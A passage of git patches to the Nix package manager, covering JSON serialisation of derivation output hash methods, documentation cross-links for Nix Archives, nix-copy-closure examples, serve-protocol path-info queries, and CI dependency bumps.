+            res["hashAlgo"] = printHashAlgo(dof.ca.hash.algo);
             res["hash"] = dof.ca.hash.to_string(HashFormat::Base16, false);
             // FIXME print refs?
         },
         [&](const DerivationOutput::CAFloating & dof) {
-            res["hashAlgo"] = std::string { dof.method.renderPrefix() } + printHashAlgo(dof.hashAlgo);
+            res["method"] = std::string { dof.method.render() };
+            res["hashAlgo"] = printHashAlgo(dof.hashAlgo);
         },
         [&](const DerivationOutput::Deferred &) {},
         [&](const DerivationOutput::Impure & doi) {
-            res["hashAlgo"] = std::string { doi.method.renderPrefix() } + printHashAlgo(doi.hashAlgo);
+            res["method"] = std::string { doi.method.render() };
+            res["hashAlgo"] = printHashAlgo(doi.hashAlgo);
             res["impure"] = true;
         },
     }, raw);
@@ -1245,12 +1248,13 @@ DerivationOutput DerivationOutput::fromJSON(
         keys.insert(key);
 
     auto methodAlgo = [&]() -> std::pair<ContentAddressMethod, HashAlgorithm> {
-        auto & str = getString(valueAt(json, "hashAlgo"));
-        std::string_view s = str;
-        ContentAddressMethod method = ContentAddressMethod::parsePrefix(s);
+        auto & method_ = getString(valueAt(json, "method"));
+        ContentAddressMethod method = ContentAddressMethod::parse(method_);
         if (method == TextIngestionMethod {})
             xpSettings.require(Xp::DynamicDerivations);
-        auto hashAlgo = parseHashAlgo(s);
+
+        auto & hashAlgo_ = getString(valueAt(json, "hashAlgo"));
+        auto hashAlgo = parseHashAlgo(hashAlgo_);
         return { std::move(method), std::move(hashAlgo) };
     };
 
@@ -1260,7 +1264,7 @@ DerivationOutput DerivationOutput::fromJSON(
         };
     }
 
-    else if (keys == (std::set<std::string_view> { "path", "hashAlgo", "hash" })) {
+    else if (keys == (std::set<std::string_view> { "path", "method", "hashAlgo", "hash" })) {
         auto [method, hashAlgo] = methodAlgo();
         auto dof = DerivationOutput::CAFixed {
             .ca = ContentAddress {
@@ -1273,7 +1277,7 @@ DerivationOutput DerivationOutput::fromJSON(
         return dof;
     }
 
-    else if (keys == (std::set<std::string_view> { "hashAlgo" })) {
+    else if (keys == (std::set<std::string_view> { "method", "hashAlgo" })) {
         xpSettings.require(Xp::CaDerivations);
         auto [method, hashAlgo] = methodAlgo();
         return DerivationOutput::CAFloating {
@@ -1286,7 +1290,7 @@ DerivationOutput DerivationOutput::fromJSON(
         return DerivationOutput::Deferred {};
     }
 
-    else if (keys == (std::set<std::string_view> { "hashAlgo", "impure" })) {
+    else if (keys == (std::set<std::string_view> { "method", "hashAlgo", "impure" })) {
         xpSettings.require(Xp::ImpureDerivations);
         auto [method, hashAlgo] = methodAlgo();
         return DerivationOutput::Impure {
diff --git a/src/nix/flake.md b/src/nix/flake.md
index 661dd2f7333..2f43d02640d 100644
--- a/src/nix/flake.md
+++ b/src/nix/flake.md
@@ -134,7 +134,9 @@ The following generic flake reference attributes are supported:
   repository or tarball. The default is the root directory of the
   flake.
 
-* `narHash`: The hash of the NAR serialisation (in SRI format) of the
+* `narHash`: The hash of the
+  [Nix Archive (NAR) serialisation][Nix Archive]
+  (in SRI format) of the
   contents of the flake. This is useful for flake types such as
   tarballs that lack a unique content identifier such as a Git commit
   hash.
@@ -423,8 +425,9 @@ The following attributes are supported in `flake.nix`:
   * `lastModified`: The commit time of the revision `rev` as an integer
     denoting the number of seconds since 1970.
 
-  * `narHash`: The SHA-256 (in SRI format) of the NAR serialization of
-    the flake's source tree.
+  * `narHash`: The SHA-256 (in SRI format) of the
+    [Nix Archive (NAR) serialisation][Nix Archive]
+    NAR serialization of the flake's source tree.
 
   The value returned by the `outputs` function must be an attribute
   set. The attributes can have arbitrary values; however, various
@@ -703,4 +706,5 @@ will not look at the lock files of dependencies. However, lock file
 generation itself *does* use the lock files of dependencies by
 default.
 
+[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive
 )""
diff --git a/src/nix/nar-cat.md b/src/nix/nar-cat.md
index 55c481a28c5..1131eb2bf13 100644
--- a/src/nix/nar-cat.md
+++ b/src/nix/nar-cat.md
@@ -2,7 +2,7 @@ R""(
 
 # Examples
 
-* List a file in a NAR and pipe it through `gunzip`:
+* List a file in a [Nix Archive (NAR)][Nix Archive] and pipe it through `gunzip`:
 
   ```console
   # nix nar cat ./hello.nar /share/man/man1/hello.1.gz | gunzip
@@ -16,4 +16,5 @@ R""(
 This command prints on standard output the contents of the regular
 file *path* inside the NAR file *nar*.
 
+[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive
 )""
diff --git a/src/nix/nar-dump-path.md b/src/nix/nar-dump-path.md
index de82202decd..4676e4fef9d 100644
--- a/src/nix/nar-dump-path.md
+++ b/src/nix/nar-dump-path.md
@@ -2,7 +2,7 @@ R""(
 
 # Examples
 
-* To serialise directory `foo` as a NAR:
+* To serialise directory `foo` as a [Nix Archive (NAR)][Nix Archive]:
 
   ```console
   # nix nar pack ./foo > foo.nar
@@ -10,8 +10,10 @@ R""(
 
 # Description
 
-This command generates a NAR file containing the serialisation of
+This command generates a [Nix Archive (NAR)][Nix Archive] file containing the serialisation of
 *path*, which must contain only regular files, directories and
 symbolic links. The NAR is written to standard output.
 
+[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive
+
 )""
diff --git a/src/nix/nar-ls.md b/src/nix/nar-ls.md
index 5a03c5d828e..27c4b97e62a 100644
--- a/src/nix/nar-ls.md
+++ b/src/nix/nar-ls.md
@@ -2,7 +2,7 @@ R""(
 
 # Examples
 
-* To list a specific file in a NAR:
+* To list a specific file in a [NAR][Nix Archive]:
 
   ```console
   # nix nar ls --long ./hello.nar /bin/hello
@@ -19,6 +19,8 @@ R""(
 
 # Description
 
-This command shows information about a *path* inside NAR file *nar*.
+This command shows information about a *path* inside [Nix Archive (NAR)][Nix Archive] file *nar*.
+
+[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive
 
 )""
diff --git a/src/nix/nar.md b/src/nix/nar.md
index a83b5c7647d..b0f70ce93a3 100644
--- a/src/nix/nar.md
+++ b/src/nix/nar.md
@@ -3,11 +3,14 @@ R""(
 # Description
 
 `nix nar` provides several subcommands for creating and inspecting
-*Nix Archives* (NARs).
+[*Nix Archives* (NARs)][Nix Archive].
 
 # File format
 
-For the definition of the NAR file format, see Figure 5.2 in
-https://edolstra.github.io/pubs/phd-thesis.pdf.
+For the definition of the Nix Archive file format, see
+[within the protocols chapter](@docroot@/protocols/nix-archive.md)
+of the manual.
+
+[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive
 
 )""
diff --git a/src/nix/store-dump-path.md b/src/nix/store-dump-path.md
index 56e2174b6a8..21467ff329e 100644
--- a/src/nix/store-dump-path.md
+++ b/src/nix/store-dump-path.md
@@ -17,7 +17,9 @@ R""(
 
 # Description
 
-This command generates a NAR file containing the serialisation of the
+This command generates a [Nix Archive (NAR)][Nix Archive] file containing the serialisation of the
 store path [*installable*](./nix.md#installables). The NAR is written to standard output.
 
+[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive
+
 )""
diff --git a/src/nix/verify.md b/src/nix/verify.md
index e1d55eab457..ae0b0acd68a 100644
--- a/src/nix/verify.md
+++ b/src/nix/verify.md
@@ -46,4 +46,6 @@ The exit status of this command is the sum of the following values:
 * **4** if any path couldn't be verified for any other reason (such as
   an I/O error).
 
+[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive
+
 )""
diff --git a/tests/unit/libstore/data/derivation/output-caFixedFlat.json b/tests/unit/libstore/data/derivation/output-caFixedFlat.json
index fe000ea36e3..7001ea0a9fb 100644
--- a/tests/unit/libstore/data/derivation/output-caFixedFlat.json
+++ b/tests/unit/libstore/data/derivation/output-caFixedFlat.json
@@ -1,5 +1,6 @@
 {
   "hash": "894517c9163c896ec31a2adbd33c0681fd5f45b2c0ef08a64c92a03fb97f390f",
   "hashAlgo": "sha256",
+  "method": "flat",
   "path": "/nix/store/rhcg9h16sqvlbpsa6dqm57sbr2al6nzg-drv-name-output-name"
 }
diff --git a/tests/unit/libstore/data/derivation/output-caFixedNAR.json b/tests/unit/libstore/data/derivation/output-caFixedNAR.json
index 1afd602236b..54eb306e672 100644
--- a/tests/unit/libstore/data/derivation/output-caFixedNAR.json
+++ b/tests/unit/libstore/data/derivation/output-caFixedNAR.json
@@ -1,5 +1,6 @@
 {
   "hash": "894517c9163c896ec31a2adbd33c0681fd5f45b2c0ef08a64c92a03fb97f390f",
-  "hashAlgo": "r:sha256",
+  "hashAlgo": "sha256",
+  "method": "nar",
   "path": "/nix/store/c015dhfh5l0lp6wxyvdn7bmwhbbr6hr9-drv-name-output-name"
 }
diff --git a/tests/unit/libstore/data/derivation/output-caFixedText.json b/tests/unit/libstore/data/derivation/output-caFixedText.json
index 0b2cc8bbc42..e8a65186049 100644
--- a/tests/unit/libstore/data/derivation/output-caFixedText.json
+++ b/tests/unit/libstore/data/derivation/output-caFixedText.json
@@ -1,5 +1,6 @@
 {
   "hash": "894517c9163c896ec31a2adbd33c0681fd5f45b2c0ef08a64c92a03fb97f390f",
-  "hashAlgo": "text:sha256",
+  "hashAlgo": "sha256",
+  "method": "text",
   "path": "/nix/store/6s1zwabh956jvhv4w9xcdb5jiyanyxg1-drv-name-output-name"
 }
diff --git a/tests/unit/libstore/data/derivation/output-caFloating.json b/tests/unit/libstore/data/derivation/output-caFloating.json
index 9115de851a1..8b9b5f68196 100644
--- a/tests/unit/libstore/data/derivation/output-caFloating.json
+++ b/tests/unit/libstore/data/derivation/output-caFloating.json
@@ -1,3 +1,4 @@
 {
-  "hashAlgo": "r:sha256"
+  "hashAlgo": "sha256",
+  "method": "nar"
 }
diff --git a/tests/unit/libstore/data/derivation/output-impure.json b/tests/unit/libstore/data/derivation/output-impure.json
index 62b61cdcae7..bec03702b16 100644
--- a/tests/unit/libstore/data/derivation/output-impure.json
+++ b/tests/unit/libstore/data/derivation/output-impure.json
@@ -1,4 +1,5 @@
 {
-  "hashAlgo": "r:sha256",
-  "impure": true
+  "hashAlgo": "sha256",
+  "impure": true,
+  "method": "nar"
 }

From 4c91bc543c06cc3cd34b76f13f2e40005735539c Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Mon, 20 May 2024 09:04:15 -0400
Subject: [PATCH 161/528] Remove store object content address reproducibility
 section

---
 .../src/store/store-object/content-address.md | 28 -------------------
 1 file changed, 28 deletions(-)

diff --git a/doc/manual/src/store/store-object/content-address.md b/doc/manual/src/store/store-object/content-address.md
index e9f085ad590..f6f982035ef 100644
--- a/doc/manual/src/store/store-object/content-address.md
+++ b/doc/manual/src/store/store-object/content-address.md
@@ -90,34 +90,6 @@ Only SHA-1 is supported at this time.
 If [SHA-256-based Git](https://git-scm.com/docs/hash-function-transition)
 becomes more widespread, this restriction will be revisited.
 
-### Reproducibility
-
-The above system is more complex than it needs to be to support all types of file system objects and references, owing to accretion of features over time.
-However, there's a lot of value in supporting old expressions and reproducing the same hashes with any version of Nix.
-Still, the fundamental property remains that if one knows how a store object is supposed to be hashed
---- all the non-Hash, non-references information above
---- one can recompute a store object's store path just from that metadata and its content proper (its references and file system objects).
-Collectively, we can call this information the "content address method".
-
-By storing the "Content address method" extra information as part of store object
---- making it data not metadata
---- we achieve the key property of making content-addressed store objects *trustless*.
-
-What this is means is that they are just plain old data, not containing any "claim" that could be false.
-All this information is free to vary, and if any of it varies one gets (ignoring the possibility of hash collisions, as usual) a different store path.
-Store paths referring to content-addressed store objects uniquely identify a store object, and given that object, one can recompute the store path.
-Any content-addressed store object purporting to be the referee of a store object can be readily verified to see whether it in fact does without any extra information.
-No other party claiming a store object corresponds to a store path need be trusted because this verification can be done instead.
-
-Content addressing currently is used when adding data like source code to the store.
-Such data are "basal inputs", not produced from any other derivation (to our knowledge).
-Content addressing is thus the only way to address them of our two options.
-([Input addressing](@docroot@/glossary.md#gloss-input-addressed-store-object), is only valid for store paths produced from derivations.)
-
-Additionally, content addressing is also used for the outputs of certain sorts of derivations.
-It is very nice to be able to uniformly content-address all data rather than rely on a mix of content addressing and input addressing.
-This however, is in some cases still experimental, so in practice input addressing is still (as of 2022) widely used.
-
 [fso-ca]: ../file-system-object/content-address.md
 [sp-spec]: @docroot@/protocols/store-path.md
 [xp-feature-git-hashing]: @docroot@/contributing/experimental-features.md#xp-feature-git-hashing

From fc14378ae34a8c8474d77cfcacb35e5fc35a1fda Mon Sep 17 00:00:00 2001
From: Valentin Gagarin <valentin.gagarin@tweag.io>
Date: Mon, 20 May 2024 22:39:34 +0200
Subject: [PATCH 162/528] add cross-references for discoverability (#10714)

---
 doc/manual/src/command-ref/nix-store/dump.md | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/doc/manual/src/command-ref/nix-store/dump.md b/doc/manual/src/command-ref/nix-store/dump.md
index b1066fd4cff..3de0e27b07b 100644
--- a/doc/manual/src/command-ref/nix-store/dump.md
+++ b/doc/manual/src/command-ref/nix-store/dump.md
@@ -8,7 +8,7 @@
 
 ## Description
 
-The operation `--dump` produces a [NAR (Nix ARchive)][Nix Archive] file containing the
+The operation `--dump` produces a [Nix archive](@docroot@/glossary.md#gloss-nar) (NAR) file containing the
 contents of the file system tree rooted at *path*. The archive is
 written to standard output.
 
@@ -30,8 +30,7 @@ NAR archives support filenames of unlimited length and 64-bit file
 sizes. They can contain regular files, directories, and symbolic links,
 but not other types of files (such as device nodes).
 
-A Nix archive can be unpacked using `nix-store
---restore`.
+A Nix archive can be unpacked using [`nix-store --restore`](@docroot@/command-ref/nix-store/restore.md).
 
 [Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive
 

From 40b7fb4f1156195043856b24ab2341f4957b27d6 Mon Sep 17 00:00:00 2001
From: Valentin Gagarin <valentin.gagarin@tweag.io>
Date: Mon, 20 May 2024 22:45:45 +0200
Subject: [PATCH 163/528] expand example on `nix-copy-closure` (#10708)

* expand example on nix-copy-closure


Co-authored-by: Robert Hensing <roberth@users.noreply.github.com>
---
 .../src/command-ref/nix-copy-closure.md       | 39 ++++++++++++-------
 1 file changed, 25 insertions(+), 14 deletions(-)

diff --git a/doc/manual/src/command-ref/nix-copy-closure.md b/doc/manual/src/command-ref/nix-copy-closure.md
index 46d381f5d62..3c62191f18d 100644
--- a/doc/manual/src/command-ref/nix-copy-closure.md
+++ b/doc/manual/src/command-ref/nix-copy-closure.md
@@ -75,17 +75,28 @@ authentication, you can avoid typing the passphrase with `ssh-agent`.
 
 # Examples
 
-Copy Firefox with all its dependencies to a remote machine:
-
-```console
-$ nix-copy-closure --to alice@itchy.example.org $(type -P firefox)
-```
-
-Copy Subversion from a remote machine and then install it into a user
-environment:
-
-```console
-$ nix-copy-closure --from alice@itchy.example.org \
-    /nix/store/0dj0503hjxy5mbwlafv1rsbdiyx1gkdy-subversion-1.4.4
-$ nix-env --install /nix/store/0dj0503hjxy5mbwlafv1rsbdiyx1gkdy-subversion-1.4.4
-```
+> **Example**
+>
+> Copy GNU Hello with all its dependencies to a remote machine:
+>
+> ```shell-session
+> $ storePath="$(nix-build '<nixpkgs>' -I nixpkgs=channel:nixpkgs-unstable -A hello --no-out-link)"
+> $ nix-copy-closure --to alice@itchy.example.org "$storePath"
+> copying 5 paths...
+> copying path '/nix/store/nrwkk6ak3rgkrxbqhsscb01jpzmslf2r-xgcc-13.2.0-libgcc' to 'ssh://alice@itchy.example.org'...
+> copying path '/nix/store/gm61h1y42pqyl6178g90x8zm22n6pyy5-libunistring-1.1' to 'ssh://alice@itchy.example.org'...
+> copying path '/nix/store/ddfzjdykw67s20c35i7a6624by3iz5jv-libidn2-2.3.7' to 'ssh://alice@itchy.example.org'...
+> copying path '/nix/store/apab5i73dqa09wx0q27b6fbhd1r18ihl-glibc-2.39-31' to 'ssh://alice@itchy.example.org'...
+> copying path '/nix/store/g1n2vryg06amvcc1avb2mcq36faly0mh-hello-2.12.1' to 'ssh://alice@itchy.example.org'...
+> ```
+
+> **Example**
+>
+> Copy GNU Hello from a remote machine using a known store path, and run it:
+>
+> ```shell-session
+> $ storePath="$(nix-instantiate --eval '<nixpkgs>' -I nixpkgs=channel:nixpkgs-unstable -A hello.outPath | tr -d '"')"
+> $ nix-copy-closure --from alice@itchy.example.org "$storePath"
+> $ "$storePath"/bin/hello
+> Hello, world!
+> ```

From 8b369f90fd2422a03310a0d3c623668e86e00e01 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Mon, 20 May 2024 17:41:12 -0400
Subject: [PATCH 164/528] Query path infos (plural) and handshake version
 minimum for hydra

1. Hydra currently queries for multiple path infos at once, so let us
   make a connection item for that.

2. The minimum of the two versions should always be used, see #9584.
   (The issue remains open because the daemon protocol needs to be
   likewise updated.)
---
 src/libstore/legacy-ssh-store.cc      | 38 ++++++++++++++-------------
 src/libstore/serve-protocol-impl.cc   | 29 ++++++++++++++++++--
 src/libstore/serve-protocol-impl.hh   |  4 +++
 tests/unit/libstore/serve-protocol.cc |  3 ++-
 4 files changed, 53 insertions(+), 21 deletions(-)

diff --git a/src/libstore/legacy-ssh-store.cc b/src/libstore/legacy-ssh-store.cc
index e422adeec85..9bc986bfaa7 100644
--- a/src/libstore/legacy-ssh-store.cc
+++ b/src/libstore/legacy-ssh-store.cc
@@ -105,24 +105,26 @@ void LegacySSHStore::queryPathInfoUncached(const StorePath & path,
 
         debug("querying remote host '%s' for info on '%s'", host, printStorePath(path));
 
-        conn->to << ServeProto::Command::QueryPathInfos << PathSet{printStorePath(path)};
-        conn->to.flush();
-
-        auto p = readString(conn->from);
-        if (p.empty()) return callback(nullptr);
-        auto path2 = parseStorePath(p);
-        assert(path == path2);
-        auto info = std::make_shared<ValidPathInfo>(
-            path,
-            ServeProto::Serialise<UnkeyedValidPathInfo>::read(*this, *conn));
-
-        if (info->narHash == Hash::dummy)
-            throw Error("NAR hash is now mandatory");
-
-        auto s = readString(conn->from);
-        assert(s == "");
-
-        callback(std::move(info));
+        auto infos = conn->queryPathInfos(*this, {path});
+
+        switch (infos.size()) {
+        case 0:
+            return callback(nullptr);
+        case 1: {
+            auto & [path2, info] = *infos.begin();
+
+            if (info.narHash == Hash::dummy)
+                throw Error("NAR hash is now mandatory");
+
+            assert(path == path2);
+            return callback(std::make_shared<ValidPathInfo>(
+                std::move(path),
+                std::move(info)
+            ));
+        }
+        default:
+            throw Error("More path infos returned than queried");
+        }
     } catch (...) { callback.rethrow(); }
 }
 
diff --git a/src/libstore/serve-protocol-impl.cc b/src/libstore/serve-protocol-impl.cc
index b39212884cd..5e1d3f1e85d 100644
--- a/src/libstore/serve-protocol-impl.cc
+++ b/src/libstore/serve-protocol-impl.cc
@@ -19,7 +19,7 @@ ServeProto::Version ServeProto::BasicClientConnection::handshake(
     auto remoteVersion = readInt(from);
     if (GET_PROTOCOL_MAJOR(remoteVersion) != 0x200)
         throw Error("unsupported 'nix-store --serve' protocol version on '%s'", host);
-    return remoteVersion;
+    return std::min(remoteVersion, localVersion);
 }
 
 ServeProto::Version ServeProto::BasicServerConnection::handshake(
@@ -31,7 +31,8 @@ ServeProto::Version ServeProto::BasicServerConnection::handshake(
     if (magic != SERVE_MAGIC_1) throw Error("protocol mismatch");
     to << SERVE_MAGIC_2 << localVersion;
     to.flush();
-    return readInt(from);
+    auto remoteVersion = readInt(from);
+    return std::min(remoteVersion, localVersion);
 }
 
 
@@ -51,6 +52,30 @@ StorePathSet ServeProto::BasicClientConnection::queryValidPaths(
 }
 
 
+std::map<StorePath, UnkeyedValidPathInfo> ServeProto::BasicClientConnection::queryPathInfos(
+    const Store & store,
+    const StorePathSet & paths)
+{
+    std::map<StorePath, UnkeyedValidPathInfo> infos;
+
+    to << ServeProto::Command::QueryPathInfos;
+    ServeProto::write(store, *this, paths);
+    to.flush();
+
+    while (true) {
+        auto storePathS = readString(from);
+        if (storePathS == "") break;
+
+        auto storePath = store.parseStorePath(storePathS);
+        assert(paths.count(storePath) == 1);
+        auto info = ServeProto::Serialise<UnkeyedValidPathInfo>::read(store, *this);
+        infos.insert_or_assign(std::move(storePath), std::move(info));
+    }
+
+    return infos;
+}
+
+
 void ServeProto::BasicClientConnection::putBuildDerivationRequest(
     const Store & store,
     const StorePath & drvPath, const BasicDerivation & drv,
diff --git a/src/libstore/serve-protocol-impl.hh b/src/libstore/serve-protocol-impl.hh
index fd8d946970e..1d9c79ef088 100644
--- a/src/libstore/serve-protocol-impl.hh
+++ b/src/libstore/serve-protocol-impl.hh
@@ -122,6 +122,10 @@ struct ServeProto::BasicClientConnection
         bool lock, const StorePathSet & paths,
         SubstituteFlag maybeSubstitute);
 
+    std::map<StorePath, UnkeyedValidPathInfo> queryPathInfos(
+        const Store & store,
+        const StorePathSet & paths);
+
     /**
      * Just the request half, because Hydra may do other things between
      * issuing the request and reading the `BuildResult` response.
diff --git a/tests/unit/libstore/serve-protocol.cc b/tests/unit/libstore/serve-protocol.cc
index b2fd0fb8248..61dc15528ee 100644
--- a/tests/unit/libstore/serve-protocol.cc
+++ b/tests/unit/libstore/serve-protocol.cc
@@ -505,7 +505,8 @@ TEST_F(ServeProtoTest, handshake_client_corrupted_throws)
             } else {
                 auto ver = ServeProto::BasicClientConnection::handshake(
                     nullSink, in, defaultVersion, "blah");
-                EXPECT_NE(ver, defaultVersion);
+                // `std::min` of this and the other version saves us
+                EXPECT_EQ(ver, defaultVersion);
             }
         }
     });

From 7577597cc4f6bad5fc6e64467ef6cce048c95569 Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Mon, 20 May 2024 22:51:53 +0000
Subject: [PATCH 165/528] --- updated-dependencies: - dependency-name:
 cachix/cachix-action   dependency-type: direct:production   update-type:
 version-update:semver-major ...

Signed-off-by: dependabot[bot] <support@github.com>
---
 .github/workflows/ci.yml | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index 2b8eac49d52..2a55c7fd329 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -25,7 +25,7 @@ jobs:
         # The sandbox would otherwise be disabled by default on Darwin
         extra_nix_config: "sandbox = true"
     - run: echo CACHIX_NAME="$(echo $GITHUB_REPOSITORY-install-tests | tr "[A-Z]/" "[a-z]-")" >> $GITHUB_ENV
-    - uses: cachix/cachix-action@v14
+    - uses: cachix/cachix-action@v15
       if: needs.check_secrets.outputs.cachix == 'true'
       with:
         name: '${{ env.CACHIX_NAME }}'
@@ -65,7 +65,7 @@ jobs:
     - uses: cachix/install-nix-action@v26
       with:
         install_url: https://releases.nixos.org/nix/nix-2.20.3/install
-    - uses: cachix/cachix-action@v14
+    - uses: cachix/cachix-action@v15
       with:
         name: '${{ env.CACHIX_NAME }}'
         signingKey: '${{ secrets.CACHIX_SIGNING_KEY }}'
@@ -119,7 +119,7 @@ jobs:
         install_url: https://releases.nixos.org/nix/nix-2.20.3/install
     - run: echo CACHIX_NAME="$(echo $GITHUB_REPOSITORY-install-tests | tr "[A-Z]/" "[a-z]-")" >> $GITHUB_ENV
     - run: echo NIX_VERSION="$(nix --experimental-features 'nix-command flakes' eval .\#default.version | tr -d \")" >> $GITHUB_ENV
-    - uses: cachix/cachix-action@v14
+    - uses: cachix/cachix-action@v15
       if: needs.check_secrets.outputs.cachix == 'true'
       with:
         name: '${{ env.CACHIX_NAME }}'

From 041fec0b5c6c9fe2e75b0069ed346cca9db6adc6 Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Mon, 20 May 2024 22:51:54 +0000
Subject: [PATCH 166/528] --- updated-dependencies: - dependency-name:
 cachix/install-nix-action   dependency-type: direct:production   update-type:
 version-update:semver-major ...

Signed-off-by: dependabot[bot] <support@github.com>
---
 .github/workflows/ci.yml | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index 2b8eac49d52..7374e1819b1 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -20,7 +20,7 @@ jobs:
     - uses: actions/checkout@v4
       with:
         fetch-depth: 0
-    - uses: cachix/install-nix-action@v26
+    - uses: cachix/install-nix-action@V27
       with:
         # The sandbox would otherwise be disabled by default on Darwin
         extra_nix_config: "sandbox = true"
@@ -62,7 +62,7 @@ jobs:
       with:
         fetch-depth: 0
     - run: echo CACHIX_NAME="$(echo $GITHUB_REPOSITORY-install-tests | tr "[A-Z]/" "[a-z]-")" >> $GITHUB_ENV
-    - uses: cachix/install-nix-action@v26
+    - uses: cachix/install-nix-action@V27
       with:
         install_url: https://releases.nixos.org/nix/nix-2.20.3/install
     - uses: cachix/cachix-action@v14
@@ -84,7 +84,7 @@ jobs:
     steps:
     - uses: actions/checkout@v4
     - run: echo CACHIX_NAME="$(echo $GITHUB_REPOSITORY-install-tests | tr "[A-Z]/" "[a-z]-")" >> $GITHUB_ENV
-    - uses: cachix/install-nix-action@v26
+    - uses: cachix/install-nix-action@V27
       with:
         install_url: '${{needs.installer.outputs.installerURL}}'
         install_options: "--tarball-url-prefix https://${{ env.CACHIX_NAME }}.cachix.org/serve"
@@ -114,7 +114,7 @@ jobs:
     - uses: actions/checkout@v4
       with:
         fetch-depth: 0
-    - uses: cachix/install-nix-action@v26
+    - uses: cachix/install-nix-action@V27
       with:
         install_url: https://releases.nixos.org/nix/nix-2.20.3/install
     - run: echo CACHIX_NAME="$(echo $GITHUB_REPOSITORY-install-tests | tr "[A-Z]/" "[a-z]-")" >> $GITHUB_ENV

From 56afe228df1f1b6c9e69137871b9f0c322278ccd Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Marcus=20R=C3=BCckert?= <darix@nordisch.org>
Date: Tue, 21 May 2024 00:52:11 +0200
Subject: [PATCH 167/528] Use CFLAGS for libseccomp from pkg-config also for
 the CFLAGS

Otherwise the configure check for fchmodat2 afterwards fails because it
can not find the header files.
---
 configure.ac | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configure.ac b/configure.ac
index b2a5794b503..90a6d45d594 100644
--- a/configure.ac
+++ b/configure.ac
@@ -313,7 +313,7 @@ case "$host_os" in
                                 ]))
     if test "x$enable_seccomp_sandboxing" != "xno"; then
       PKG_CHECK_MODULES([LIBSECCOMP], [libseccomp],
-                        [CXXFLAGS="$LIBSECCOMP_CFLAGS $CXXFLAGS"])
+                        [CXXFLAGS="$LIBSECCOMP_CFLAGS $CXXFLAGS" CFLAGS="$LIBSECCOMP_CFLAGS $CFLAGS"])
       have_seccomp=1
       AC_DEFINE([HAVE_SECCOMP], [1], [Whether seccomp is available and should be used for sandboxing.])
       AC_COMPILE_IFELSE([

From 142222030c823286939bcc317fbd5824067319cc Mon Sep 17 00:00:00 2001
From: Philipp Zander <philipp.zander@tweag.io>
Date: Thu, 16 May 2024 02:33:58 +0200
Subject: [PATCH 168/528] remove redundant and outdated example from
 `libexpr-c` documentation

---
 doc/external-api/README.md   |  2 +-
 src/libexpr-c/nix_api_expr.h | 20 +-------------------
 2 files changed, 2 insertions(+), 20 deletions(-)

diff --git a/doc/external-api/README.md b/doc/external-api/README.md
index 167c021994e..e6612221bd7 100644
--- a/doc/external-api/README.md
+++ b/doc/external-api/README.md
@@ -27,7 +27,7 @@ appreciated.
 The following examples, for simplicity, don't include error handling. See the
 [Handling errors](@ref errors) section for more information.
 
-# Embedding the Nix Evaluator
+# Embedding the Nix Evaluator{#nix_evaluator_example}
 
 In this example we programmatically start the Nix language evaluator with a
 dummy store (that has no store paths and cannot be written to), and evaluate the
diff --git a/src/libexpr-c/nix_api_expr.h b/src/libexpr-c/nix_api_expr.h
index 04fc92f0f99..ce0062ee133 100644
--- a/src/libexpr-c/nix_api_expr.h
+++ b/src/libexpr-c/nix_api_expr.h
@@ -3,25 +3,7 @@
 /** @defgroup libexpr libexpr
  * @brief Bindings to the Nix language evaluator
  *
- * Example (without error handling):
- * @code{.c}
- * int main() {
- *    nix_libexpr_init(NULL);
- *
- *    Store* store = nix_store_open(NULL, "dummy", NULL);
- *    EvalState* state = nix_state_create(NULL, NULL, store); // empty nix path
- *    Value *value = nix_alloc_value(NULL, state);
- *
- *    nix_expr_eval_from_string(NULL, state, "builtins.nixVersion", ".", value);
- *    nix_value_force(NULL, state, value);
- *    printf("nix version: %s\n", nix_get_string(NULL, value));
- *
- *    nix_gc_decref(NULL, value);
- *    nix_state_free(state);
- *    nix_store_free(store);
- *    return 0;
- *    }
- * @endcode
+ * See *[Embedding the Nix Evaluator](@ref nix_evaluator_example)* for an example.
  * @{
  */
 /** @file

From bb1a4ea21a6af3c37c7d1c948e36678c96c3f499 Mon Sep 17 00:00:00 2001
From: eihqnh <eihqnh@outlook.com>
Date: Mon, 13 May 2024 21:12:58 +0800
Subject: [PATCH 169/528] nix repl: make runNix() isInteractive is true by
 default

---
 src/libcmd/repl.cc | 9 +++------
 1 file changed, 3 insertions(+), 6 deletions(-)

diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc
index 8a9155ab6d7..2aa674e2f83 100644
--- a/src/libcmd/repl.cc
+++ b/src/libcmd/repl.cc
@@ -137,12 +137,13 @@ void runNix(Path program, const Strings & args,
 {
     auto subprocessEnv = getEnv();
     subprocessEnv["NIX_CONFIG"] = globalConfig.toKeyValue();
-
+    //isInteractive avoid grabling interactive commands
     runProgram2(RunOptions {
         .program = settings.nixBinDir+ "/" + program,
         .args = args,
         .environment = subprocessEnv,
         .input = input,
+        .isInteractive = true,
     });
 
     return;
@@ -508,13 +509,9 @@ ProcessLineResult NixRepl::processLine(std::string line)
         auto editor = args.front();
         args.pop_front();
 
